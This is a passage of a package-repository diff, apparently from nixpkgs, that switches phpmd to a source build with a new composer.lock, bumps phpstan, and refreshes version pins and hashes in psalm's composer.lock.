"zip", + "url": "https://api.github.com/repos/Gregwar/RST/zipball/93c630ae18c47d8f7503230fa6ca39a79ad3c598", + "reference": "93c630ae18c47d8f7503230fa6ca39a79ad3c598", + "shasum": "" + }, + "require": { + "php": ">=5.3.0", + "symfony/polyfill-mbstring": "^1.12" + }, + "require-dev": { + "phpunit/phpunit": "^6.4" + }, + "type": "library", + "autoload": { + "psr-0": { + "Gregwar\\RST": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Grégoire Passault", + "email": "g.passault@gmail.com", + "homepage": "http://www.gregwar.com/" + } + ], + "description": "PHP library to parse reStructuredText documents", + "homepage": "https://github.com/Gregwar/RST", + "keywords": [ + "markup", + "parser", + "rst" + ], + "support": { + "issues": "https://github.com/Gregwar/RST/issues", + "source": "https://github.com/Gregwar/RST/tree/v1.0.6" + }, + "time": "2020-04-09T08:09:05+00:00" + }, + { + "name": "mikey179/vfsstream", + "version": "v1.6.11", + "source": { + "type": "git", + "url": "https://github.com/bovigo/vfsStream.git", + "reference": "17d16a85e6c26ce1f3e2fa9ceeacdc2855db1e9f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/bovigo/vfsStream/zipball/17d16a85e6c26ce1f3e2fa9ceeacdc2855db1e9f", + "reference": "17d16a85e6c26ce1f3e2fa9ceeacdc2855db1e9f", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.5|^5.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.6.x-dev" + } + }, + "autoload": { + "psr-0": { + "org\\bovigo\\vfs\\": "src/main/php" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Frank Kleine", + "homepage": "http://frankkleine.de/", + "role": "Developer" + } + ], + "description": "Virtual file system to mock the real file system in unit tests.", + "homepage": "http://vfs.bovigo.org/", + "support": { + "issues": "https://github.com/bovigo/vfsStream/issues", + "source": "https://github.com/bovigo/vfsStream/tree/master", + "wiki": "https://github.com/bovigo/vfsStream/wiki" + }, + "time": "2022-02-23T02:02:42+00:00" + }, + { + "name": "simple-cli/simple-cli", + "version": "1.6.0", + "source": { + "type": "git", + "url": "https://github.com/kylekatarnls/simple-cli.git", + "reference": "47055c9a172ab032e33a498001d2978c9800fd59" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/kylekatarnls/simple-cli/zipball/47055c9a172ab032e33a498001d2978c9800fd59", + "reference": "47055c9a172ab032e33a498001d2978c9800fd59", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^2.15.0", + "phan/phan": "^2.3", + "phpmd/phpmd": "dev-master", + "phpstan/phpstan": "^0.12", + "phpunit/phpunit": "^7", + "squizlabs/php_codesniffer": "^3.0", + "vimeo/psalm": "^3.6" + }, + "bin": [ + "bin/simple-cli" + ], + "type": "library", + "autoload": { + "psr-4": { + "SimpleCli\\": "src/SimpleCli/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "KyleK", + "email": "kylekatarnls@gmail.com" + } + ], + "description": "A simple command line framework", + "support": { + "issues": "https://github.com/kylekatarnls/simple-cli/issues", + "source": "https://github.com/kylekatarnls/simple-cli/tree/1.6.0" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/simple-cli/simple-cli", + "type": "tidelift" + } + ], + "time": "2020-11-18T22:40:00+00:00" + }, + { + "name": "squizlabs/php_codesniffer", + "version": "3.9.0", + "source": { + "type": "git", + "url": "https://github.com/PHPCSStandards/PHP_CodeSniffer.git", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/d63cee4890a8afaf86a22e51ad4d97c91dd4579b", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b", + "shasum": "" + }, + "require": { + "ext-simplexml": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": ">=5.4.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.3.4" + }, + "bin": [ + "bin/phpcbf", + "bin/phpcs" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Greg Sherwood", + "role": "Former lead" + }, + { + "name": "Juliette Reinders Folmer", + "role": "Current lead" + }, + { + "name": "Contributors", + "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer/graphs/contributors" + } + ], + "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", + "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer", + "keywords": [ + "phpcs", + "standards", + "static analysis" + ], + "support": { + "issues": "https://github.com/PHPCSStandards/PHP_CodeSniffer/issues", + "security": "https://github.com/PHPCSStandards/PHP_CodeSniffer/security/policy", + "source": "https://github.com/PHPCSStandards/PHP_CodeSniffer", + "wiki": "https://github.com/PHPCSStandards/PHP_CodeSniffer/wiki" + }, + "funding": [ + { + "url": "https://github.com/PHPCSStandards", + "type": "github" + }, + { + "url": "https://github.com/jrfnl", + "type": "github" + }, + { + "url": "https://opencollective.com/php_codesniffer", + "type": "open_collective" + } + ], + "time": "2024-02-16T15:06:51+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": { + "php": ">=5.3.9", + "ext-xml": "*" + }, + "platform-dev": { + "ext-simplexml": "*", + "ext-json": "*" + }, + "plugin-api-version": "2.6.0" +} diff --git a/pkgs/development/php-packages/phpmd/default.nix b/pkgs/development/php-packages/phpmd/default.nix index bd50a614411a4..4c08728ae7bb0 100644 --- a/pkgs/development/php-packages/phpmd/default.nix +++ b/pkgs/development/php-packages/phpmd/default.nix @@ -1,35 +1,30 @@ -{ mkDerivation, fetchurl, makeWrapper, lib, php }: +{ lib +, fetchFromGitHub +, php +}: -let +php.buildComposerProject (finalAttrs: { pname = "phpmd"; version = "2.15.0"; -in -mkDerivation { - inherit pname version; - src = fetchurl { - url = "https://github.com/phpmd/phpmd/releases/download/${version}/phpmd.phar"; - sha256 = "sha256-aijvVd4MdTsHDR0VgLsIoNFGAW+J8O3c72CsT8EINUQ="; + src = fetchFromGitHub { + owner = "phpmd"; + repo = "phpmd"; + rev = finalAttrs.version; + hash = "sha256-nTuJGzOZnkqrfE9R9Vujz/zGJRLlj8+yRZmmnxWrieQ="; }; - dontUnpack = true; + # Missing `composer.lock` from the repository. + # Issue open at https://github.com/phpmd/phpmd/issues/1056 + composerLock = ./composer.lock; + vendorHash = "sha256-vr0wQkfhXHLEz8Q5nEq5Bocu1U1nDhXUlaHBsysvuRQ="; - nativeBuildInputs = [ makeWrapper ]; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D $src $out/libexec/phpmd/phpmd.phar - makeWrapper ${php}/bin/php $out/bin/phpmd \ - --add-flags "$out/libexec/phpmd/phpmd.phar" - runHook postInstall - ''; - - meta = with lib; { - changelog = "https://github.com/phpmd/phpmd/releases/tag/${version}"; + meta = { + changelog = "https://github.com/phpmd/phpmd/releases/tag/${finalAttrs.version}"; description = "PHP code quality analyzer"; - license = licenses.bsd3; homepage = "https://phpmd.org/"; - maintainers = teams.php.members; + license = lib.licenses.bsd3; + mainProgram = "phpmd"; + maintainers = lib.teams.php.members; }; -} +}) diff --git a/pkgs/development/php-packages/phpstan/default.nix b/pkgs/development/php-packages/phpstan/default.nix index 9a51d7ae6430f..63ced11f23517 100644 --- a/pkgs/development/php-packages/phpstan/default.nix +++ b/pkgs/development/php-packages/phpstan/default.nix @@ -2,16 +2,16 @@ php.buildComposerProject (finalAttrs: { pname = "phpstan"; - version = "1.10.58"; + version = "1.10.59"; src = fetchFromGitHub { owner = "phpstan"; repo = "phpstan-src"; rev = finalAttrs.version; - hash = "sha256-Dt2auiTM5T9jNF+ja/tTYctVOCVju+tYzHZS1g0sZIw="; + hash = "sha256-2+CQtpmh2r2+87zLhx7UkYlZ7sDQdDh4S8v67PGNjLM="; }; - vendorHash = "sha256-Nqly5GnIarqLgr8/xoSbpU9cexc1QxKDDSGklQu13Ec="; + vendorHash = "sha256-6Wea4iUSFq0xSWFq4er4lzFn2mgeoYBXG1zMGM3Y390="; composerStrictValidation = false; meta = { diff --git a/pkgs/development/php-packages/psalm/composer.lock b/pkgs/development/php-packages/psalm/composer.lock index ae51d5aba2117..782901f11bd0e 100644 --- a/pkgs/development/php-packages/psalm/composer.lock +++ b/pkgs/development/php-packages/psalm/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "ee60cb38244924a30b9a4f1eb3dbaa53", + "content-hash": "4e62680a253786e1a5701a4c779e26c9", "packages": [ { "name": "amphp/amp", @@ -174,16 +174,16 @@ }, { "name": "composer/pcre", - "version": "3.1.0", + "version": "3.1.1", "source": { "type": "git", "url": "https://github.com/composer/pcre.git", - "reference": "4bff79ddd77851fe3cdd11616ed3f92841ba5bd2" + "reference": "00104306927c7a0919b4ced2aaa6782c1e61a3c9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/composer/pcre/zipball/4bff79ddd77851fe3cdd11616ed3f92841ba5bd2", - "reference": "4bff79ddd77851fe3cdd11616ed3f92841ba5bd2", + "url": "https://api.github.com/repos/composer/pcre/zipball/00104306927c7a0919b4ced2aaa6782c1e61a3c9", + "reference": "00104306927c7a0919b4ced2aaa6782c1e61a3c9", "shasum": "" }, "require": { @@ -225,7 +225,7 @@ ], "support": { "issues": "https://github.com/composer/pcre/issues", - "source": "https://github.com/composer/pcre/tree/3.1.0" + "source": "https://github.com/composer/pcre/tree/3.1.1" }, "funding": [ { @@ -241,7 +241,7 @@ "type": "tidelift" } ], - "time": "2022-11-17T09:50:14+00:00" + "time": "2023-10-11T07:11:09+00:00" }, { "name": "composer/semver", @@ -429,16 +429,16 @@ }, { "name": "doctrine/deprecations", - "version": "1.1.2", + "version": "1.1.3", "source": { "type": "git", "url": "https://github.com/doctrine/deprecations.git", - "reference": "4f2d4f2836e7ec4e7a8625e75c6aa916004db931" + "reference": "dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/deprecations/zipball/4f2d4f2836e7ec4e7a8625e75c6aa916004db931", - "reference": "4f2d4f2836e7ec4e7a8625e75c6aa916004db931", + "url": "https://api.github.com/repos/doctrine/deprecations/zipball/dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab", + "reference": "dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab", "shasum": "" }, "require": { @@ -470,9 +470,9 @@ "homepage": "https://www.doctrine-project.org/", "support": { "issues": "https://github.com/doctrine/deprecations/issues", - "source": "https://github.com/doctrine/deprecations/tree/1.1.2" + "source": "https://github.com/doctrine/deprecations/tree/1.1.3" }, - "time": "2023-09-27T20:04:15+00:00" + "time": "2024-01-30T19:34:25+00:00" }, { "name": "felixfbecker/advanced-json-rpc", @@ -577,16 +577,16 @@ }, { "name": "fidry/cpu-core-counter", - "version": "0.5.1", + "version": "1.1.0", "source": { "type": "git", "url": "https://github.com/theofidry/cpu-core-counter.git", - "reference": "b58e5a3933e541dc286cc91fc4f3898bbc6f1623" + "reference": "f92996c4d5c1a696a6a970e20f7c4216200fcc42" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/b58e5a3933e541dc286cc91fc4f3898bbc6f1623", - "reference": "b58e5a3933e541dc286cc91fc4f3898bbc6f1623", + "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/f92996c4d5c1a696a6a970e20f7c4216200fcc42", + "reference": "f92996c4d5c1a696a6a970e20f7c4216200fcc42", "shasum": "" }, "require": { @@ -594,13 +594,13 @@ }, "require-dev": { "fidry/makefile": "^0.2.0", + "fidry/php-cs-fixer-config": "^1.1.2", "phpstan/extension-installer": "^1.2.0", "phpstan/phpstan": "^1.9.2", "phpstan/phpstan-deprecation-rules": "^1.0.0", "phpstan/phpstan-phpunit": "^1.2.2", "phpstan/phpstan-strict-rules": "^1.4.4", - "phpunit/phpunit": "^9.5.26 || ^8.5.31", - "theofidry/php-cs-fixer-config": "^1.0", + "phpunit/phpunit": "^8.5.31 || ^9.5.26", "webmozarts/strict-phpunit": "^7.5" }, "type": "library", @@ -626,7 +626,7 @@ ], "support": { "issues": "https://github.com/theofidry/cpu-core-counter/issues", - "source": "https://github.com/theofidry/cpu-core-counter/tree/0.5.1" + "source": "https://github.com/theofidry/cpu-core-counter/tree/1.1.0" }, "funding": [ { @@ -634,20 +634,20 @@ "type": "github" } ], - "time": "2022-12-24T12:35:10+00:00" + "time": "2024-02-07T09:43:46+00:00" }, { "name": "netresearch/jsonmapper", - "version": "v4.2.0", + "version": "v4.4.1", "source": { "type": "git", "url": "https://github.com/cweiske/jsonmapper.git", - "reference": "f60565f8c0566a31acf06884cdaa591867ecc956" + "reference": "132c75c7dd83e45353ebb9c6c9f591952995bbf0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/cweiske/jsonmapper/zipball/f60565f8c0566a31acf06884cdaa591867ecc956", - "reference": "f60565f8c0566a31acf06884cdaa591867ecc956", + "url": "https://api.github.com/repos/cweiske/jsonmapper/zipball/132c75c7dd83e45353ebb9c6c9f591952995bbf0", + "reference": "132c75c7dd83e45353ebb9c6c9f591952995bbf0", "shasum": "" }, "require": { @@ -658,7 +658,7 @@ "php": ">=7.1" }, "require-dev": { - "phpunit/phpunit": "~7.5 || ~8.0 || ~9.0", + "phpunit/phpunit": "~7.5 || ~8.0 || ~9.0 || ~10.0", "squizlabs/php_codesniffer": "~3.5" }, "type": "library", @@ -683,22 +683,22 @@ "support": { "email": "cweiske@cweiske.de", "issues": "https://github.com/cweiske/jsonmapper/issues", - "source": "https://github.com/cweiske/jsonmapper/tree/v4.2.0" + "source": "https://github.com/cweiske/jsonmapper/tree/v4.4.1" }, - "time": "2023-04-09T17:37:40+00:00" + "time": "2024-01-31T06:18:54+00:00" }, { "name": "nikic/php-parser", - "version": "v4.17.1", + "version": "v4.18.0", "source": { "type": "git", "url": "https://github.com/nikic/PHP-Parser.git", - "reference": "a6303e50c90c355c7eeee2c4a8b27fe8dc8fef1d" + "reference": "1bcbb2179f97633e98bbbc87044ee2611c7d7999" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/a6303e50c90c355c7eeee2c4a8b27fe8dc8fef1d", - "reference": "a6303e50c90c355c7eeee2c4a8b27fe8dc8fef1d", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/1bcbb2179f97633e98bbbc87044ee2611c7d7999", + "reference": "1bcbb2179f97633e98bbbc87044ee2611c7d7999", "shasum": "" }, "require": { @@ -739,9 +739,9 @@ ], "support": { "issues": "https://github.com/nikic/PHP-Parser/issues", - "source": "https://github.com/nikic/PHP-Parser/tree/v4.17.1" + "source": "https://github.com/nikic/PHP-Parser/tree/v4.18.0" }, - "time": "2023-08-13T19:53:39+00:00" + "time": "2023-12-10T21:03:43+00:00" }, { "name": "phpdocumentor/reflection-common", @@ -855,21 +855,21 @@ }, { "name": "phpdocumentor/type-resolver", - "version": "1.7.3", + "version": "1.8.2", "source": { "type": "git", "url": "https://github.com/phpDocumentor/TypeResolver.git", - "reference": "3219c6ee25c9ea71e3d9bbaf39c67c9ebd499419" + "reference": "153ae662783729388a584b4361f2545e4d841e3c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/3219c6ee25c9ea71e3d9bbaf39c67c9ebd499419", - "reference": "3219c6ee25c9ea71e3d9bbaf39c67c9ebd499419", + "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/153ae662783729388a584b4361f2545e4d841e3c", + "reference": "153ae662783729388a584b4361f2545e4d841e3c", "shasum": "" }, "require": { "doctrine/deprecations": "^1.0", - "php": "^7.4 || ^8.0", + "php": "^7.3 || ^8.0", "phpdocumentor/reflection-common": "^2.0", "phpstan/phpdoc-parser": "^1.13" }, @@ -907,22 +907,22 @@ "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names", "support": { "issues": "https://github.com/phpDocumentor/TypeResolver/issues", - "source": "https://github.com/phpDocumentor/TypeResolver/tree/1.7.3" + "source": "https://github.com/phpDocumentor/TypeResolver/tree/1.8.2" }, - "time": "2023-08-12T11:01:26+00:00" + "time": "2024-02-23T11:10:43+00:00" }, { "name": "phpstan/phpdoc-parser", - "version": "1.24.2", + "version": "1.26.0", "source": { "type": "git", "url": "https://github.com/phpstan/phpdoc-parser.git", - "reference": "bcad8d995980440892759db0c32acae7c8e79442" + "reference": "231e3186624c03d7e7c890ec662b81e6b0405227" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpdoc-parser/zipball/bcad8d995980440892759db0c32acae7c8e79442", - "reference": "bcad8d995980440892759db0c32acae7c8e79442", + "url": "https://api.github.com/repos/phpstan/phpdoc-parser/zipball/231e3186624c03d7e7c890ec662b81e6b0405227", + "reference": "231e3186624c03d7e7c890ec662b81e6b0405227", "shasum": "" }, "require": { @@ -954,9 +954,9 @@ "description": "PHPDoc parser with support for nullable, intersection and generic types", "support": { "issues": "https://github.com/phpstan/phpdoc-parser/issues", - "source": "https://github.com/phpstan/phpdoc-parser/tree/1.24.2" + "source": "https://github.com/phpstan/phpdoc-parser/tree/1.26.0" }, - "time": "2023-09-26T12:28:12+00:00" + "time": "2024-02-23T16:05:55+00:00" }, { "name": "psr/container", @@ -1129,16 +1129,16 @@ }, { "name": "spatie/array-to-xml", - "version": "3.2.0", + "version": "3.2.3", "source": { "type": "git", "url": "https://github.com/spatie/array-to-xml.git", - "reference": "f9ab39c808500c347d5a8b6b13310bd5221e39e7" + "reference": "c95fd4db94ec199f798d4b5b4a81757bd20d88ab" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/array-to-xml/zipball/f9ab39c808500c347d5a8b6b13310bd5221e39e7", - "reference": "f9ab39c808500c347d5a8b6b13310bd5221e39e7", + "url": "https://api.github.com/repos/spatie/array-to-xml/zipball/c95fd4db94ec199f798d4b5b4a81757bd20d88ab", + "reference": "c95fd4db94ec199f798d4b5b4a81757bd20d88ab", "shasum": "" }, "require": { @@ -1176,7 +1176,7 @@ "xml" ], "support": { - "source": "https://github.com/spatie/array-to-xml/tree/3.2.0" + "source": "https://github.com/spatie/array-to-xml/tree/3.2.3" }, "funding": [ { @@ -1188,20 +1188,20 @@ "type": "github" } ], - "time": "2023-07-19T18:30:26+00:00" + "time": "2024-02-07T10:39:02+00:00" }, { "name": "symfony/console", - "version": "v6.3.4", + "version": "v6.4.4", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "eca495f2ee845130855ddf1cf18460c38966c8b6" + "reference": "0d9e4eb5ad413075624378f474c4167ea202de78" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/eca495f2ee845130855ddf1cf18460c38966c8b6", - "reference": "eca495f2ee845130855ddf1cf18460c38966c8b6", + "url": "https://api.github.com/repos/symfony/console/zipball/0d9e4eb5ad413075624378f474c4167ea202de78", + "reference": "0d9e4eb5ad413075624378f474c4167ea202de78", "shasum": "" }, "require": { @@ -1209,7 +1209,7 @@ "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.0", "symfony/service-contracts": "^2.5|^3", - "symfony/string": "^5.4|^6.0" + "symfony/string": "^5.4|^6.0|^7.0" }, "conflict": { "symfony/dependency-injection": "<5.4", @@ -1223,12 +1223,16 @@ }, "require-dev": { "psr/log": "^1|^2|^3", - "symfony/config": "^5.4|^6.0", - "symfony/dependency-injection": "^5.4|^6.0", - "symfony/event-dispatcher": "^5.4|^6.0", - "symfony/lock": "^5.4|^6.0", - "symfony/process": "^5.4|^6.0", - "symfony/var-dumper": "^5.4|^6.0" + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^6.4|^7.0", + "symfony/http-kernel": "^6.4|^7.0", + "symfony/lock": "^5.4|^6.0|^7.0", + "symfony/messenger": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/stopwatch": "^5.4|^6.0|^7.0", + "symfony/var-dumper": "^5.4|^6.0|^7.0" }, "type": "library", "autoload": { @@ -1262,7 +1266,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v6.3.4" + "source": "https://github.com/symfony/console/tree/v6.4.4" }, "funding": [ { @@ -1278,11 +1282,11 @@ "type": "tidelift" } ], - "time": "2023-08-16T10:10:12+00:00" + "time": "2024-02-22T20:27:10+00:00" }, { "name": "symfony/deprecation-contracts", - "version": "v3.3.0", + "version": "v3.4.0", "source": { "type": "git", "url": "https://github.com/symfony/deprecation-contracts.git", @@ -1329,7 +1333,7 @@ "description": "A generic function and convention to trigger deprecation notices", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/deprecation-contracts/tree/v3.3.0" + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.4.0" }, "funding": [ { @@ -1349,16 +1353,16 @@ }, { "name": "symfony/filesystem", - "version": "v6.3.1", + "version": "v6.4.3", "source": { "type": "git", "url": "https://github.com/symfony/filesystem.git", - "reference": "edd36776956f2a6fcf577edb5b05eb0e3bdc52ae" + "reference": "7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/edd36776956f2a6fcf577edb5b05eb0e3bdc52ae", - "reference": "edd36776956f2a6fcf577edb5b05eb0e3bdc52ae", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb", + "reference": "7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb", "shasum": "" }, "require": { @@ -1392,7 +1396,7 @@ "description": "Provides basic utilities for the filesystem", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/filesystem/tree/v6.3.1" + "source": "https://github.com/symfony/filesystem/tree/v6.4.3" }, "funding": [ { @@ -1408,20 +1412,20 @@ "type": "tidelift" } ], - "time": "2023-06-01T08:30:39+00:00" + "time": "2024-01-23T14:51:35+00:00" }, { "name": "symfony/polyfill-ctype", - "version": "v1.28.0", + "version": "v1.29.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-ctype.git", - "reference": "ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb" + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb", - "reference": "ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/ef4d7e442ca910c4764bce785146269b30cb5fc4", + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4", "shasum": "" }, "require": { @@ -1435,9 +1439,6 @@ }, "type": "library", "extra": { - "branch-alias": { - "dev-main": "1.28-dev" - }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" @@ -1474,7 +1475,7 @@ "portable" ], "support": { - "source": "https://github.com/symfony/polyfill-ctype/tree/v1.28.0" + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.29.0" }, "funding": [ { @@ -1490,20 +1491,20 @@ "type": "tidelift" } ], - "time": "2023-01-26T09:26:14+00:00" + "time": "2024-01-29T20:11:03+00:00" }, { "name": "symfony/polyfill-intl-grapheme", - "version": "v1.28.0", + "version": "v1.29.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-grapheme.git", - "reference": "875e90aeea2777b6f135677f618529449334a612" + "reference": "32a9da87d7b3245e09ac426c83d334ae9f06f80f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/875e90aeea2777b6f135677f618529449334a612", - "reference": "875e90aeea2777b6f135677f618529449334a612", + "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/32a9da87d7b3245e09ac426c83d334ae9f06f80f", + "reference": "32a9da87d7b3245e09ac426c83d334ae9f06f80f", "shasum": "" }, "require": { @@ -1514,9 +1515,6 @@ }, "type": "library", "extra": { - "branch-alias": { - "dev-main": "1.28-dev" - }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" @@ -1555,7 +1553,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.28.0" + "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.29.0" }, "funding": [ { @@ -1571,20 +1569,20 @@ "type": "tidelift" } ], - "time": "2023-01-26T09:26:14+00:00" + "time": "2024-01-29T20:11:03+00:00" }, { "name": "symfony/polyfill-intl-normalizer", - "version": "v1.28.0", + "version": "v1.29.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-normalizer.git", - "reference": "8c4ad05dd0120b6a53c1ca374dca2ad0a1c4ed92" + "reference": "bc45c394692b948b4d383a08d7753968bed9a83d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8c4ad05dd0120b6a53c1ca374dca2ad0a1c4ed92", - "reference": "8c4ad05dd0120b6a53c1ca374dca2ad0a1c4ed92", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/bc45c394692b948b4d383a08d7753968bed9a83d", + "reference": "bc45c394692b948b4d383a08d7753968bed9a83d", "shasum": "" }, "require": { @@ -1595,9 +1593,6 @@ }, "type": "library", "extra": { - "branch-alias": { - "dev-main": "1.28-dev" - }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" @@ -1639,7 +1634,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.28.0" + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.29.0" }, "funding": [ { @@ -1655,20 +1650,20 @@ "type": "tidelift" } ], - "time": "2023-01-26T09:26:14+00:00" + "time": "2024-01-29T20:11:03+00:00" }, { "name": "symfony/polyfill-mbstring", - "version": "v1.28.0", + "version": "v1.29.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-mbstring.git", - "reference": "42292d99c55abe617799667f454222c54c60e229" + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/42292d99c55abe617799667f454222c54c60e229", - "reference": "42292d99c55abe617799667f454222c54c60e229", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9773676c8a1bb1f8d4340a62efe641cf76eda7ec", + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec", "shasum": "" }, "require": { @@ -1682,9 +1677,6 @@ }, "type": "library", "extra": { - "branch-alias": { - "dev-main": "1.28-dev" - }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" @@ -1722,7 +1714,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.28.0" + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.29.0" }, "funding": [ { @@ -1738,25 +1730,25 @@ "type": "tidelift" } ], - "time": "2023-07-28T09:04:16+00:00" + "time": "2024-01-29T20:11:03+00:00" }, { "name": "symfony/service-contracts", - "version": "v3.3.0", + "version": "v3.4.1", "source": { "type": "git", "url": "https://github.com/symfony/service-contracts.git", - "reference": "40da9cc13ec349d9e4966ce18b5fbcd724ab10a4" + "reference": "fe07cbc8d837f60caf7018068e350cc5163681a0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/service-contracts/zipball/40da9cc13ec349d9e4966ce18b5fbcd724ab10a4", - "reference": "40da9cc13ec349d9e4966ce18b5fbcd724ab10a4", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/fe07cbc8d837f60caf7018068e350cc5163681a0", + "reference": "fe07cbc8d837f60caf7018068e350cc5163681a0", "shasum": "" }, "require": { "php": ">=8.1", - "psr/container": "^2.0" + "psr/container": "^1.1|^2.0" }, "conflict": { "ext-psr": "<1.1|>=2" @@ -1804,7 +1796,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/service-contracts/tree/v3.3.0" + "source": "https://github.com/symfony/service-contracts/tree/v3.4.1" }, "funding": [ { @@ -1820,20 +1812,20 @@ "type": "tidelift" } ], - "time": "2023-05-23T14:45:45+00:00" + "time": "2023-12-26T14:02:43+00:00" }, { "name": "symfony/string", - "version": "v6.3.5", + "version": "v6.4.4", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "13d76d0fb049051ed12a04bef4f9de8715bea339" + "reference": "4e465a95bdc32f49cf4c7f07f751b843bbd6dcd9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/13d76d0fb049051ed12a04bef4f9de8715bea339", - "reference": "13d76d0fb049051ed12a04bef4f9de8715bea339", + "url": "https://api.github.com/repos/symfony/string/zipball/4e465a95bdc32f49cf4c7f07f751b843bbd6dcd9", + "reference": "4e465a95bdc32f49cf4c7f07f751b843bbd6dcd9", "shasum": "" }, "require": { @@ -1847,11 